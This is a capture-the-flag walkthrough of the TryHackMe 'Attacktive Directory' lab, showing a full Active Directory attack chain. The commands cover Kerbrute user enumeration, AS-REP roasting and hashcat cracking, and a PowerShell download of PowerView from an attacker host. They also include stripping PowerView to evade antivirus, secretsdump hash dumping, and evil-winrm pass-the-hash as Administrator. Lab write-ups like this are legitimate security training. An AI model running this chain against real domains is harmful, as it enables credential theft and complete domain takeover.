Post

THM - Attacktive Directory

Attacktive Directory - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



THM - Attacktive Directory

  • NMAP

image1

1
2
nmap -n -sV --script="ldap\* and not brute" 10.10.123.209

image2

image3

  • Enumerate users with Kerbrute:
1
2
./kerbrute userenum --dc 10.10.123.209 -d spookysec.local userlist.txt -o validusers.txt

(Using the provided userlist to cut down on enumeration time)

image4

  • Cut fields:
1
2
cat validusers.txt | cut -d " " -f 8 > validusers_edited.txt

image5

  • ASRepRoasting:
1
2
impacket-GetNPUsers spookysec.local/ -users validusers_edited.txt -no-pass -dc-ip 10.10.123.209

image6

  • Copy hash to file (hash)

  • Crack with hashcat:

1
2
hashcat -m 18200 --force -a 0 hash /usr/share/wordlists/rockyou.txt

image7

Got credentials: svc-admin : management2005

  • RDP:
1
2
xfreerdp /v:10.10.123.209 /u:svc-admin /p:management2005 /dynamic-resolution /cert:ignore

image8

  • Enumeration:
1
2
query user

image9

Only us logged in

  • Upload PowerView.ps1:
1
2
(New-Object System.Net.WebClient).DownloadFile('http://10.8.24.66:8080/PowerView.ps1', 'C:\Users\svc-admin\PowerView.ps1')

image10

AV Workaround for PowerView:

1
  sed '/<#/,/#>/d' PowerView.ps1 > new_powerview.ps1

image11

1
2
(New-Object System.Net.WebClient).DownloadFile('http://10.8.24.66:8080/new_powerview.ps1 ', 'C:\Users\svc-admin\new_powerview.ps1 ')

image12

Loaded the updated script but still doesn’t run

Moving on…

  • With credentials - Run enum4linux again:

image13

  • We have a share /backup
    Connect with:
1
2
smbclient //10.10.173.147/backup -U thm-ad/svc-admin%management2005

image14

image15

image16

  • Looks like base64:
1
2
echo "YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw" | base64 -d

image17

  • We can see that there is a domain user called backup - and we have the creds: backup@spookysec.local:backup2517860

  • There is a clue in the THM Task description:

image18

  • To dump hashes use:
1
2
impacket-secretsdump spookysec.local/backup:backup2517860@10.10.173.147 -dc-ip 10.10.173.147

image19

  • You can use the hash with evil-winrm to connect:
1
2
evil-winrm -u Administrator -H 0e0363213e37b94221497260b0bcb4fc -i 10.10.173.147

image20

image21

image22

This post is licensed under CC BY 4.0 by the author.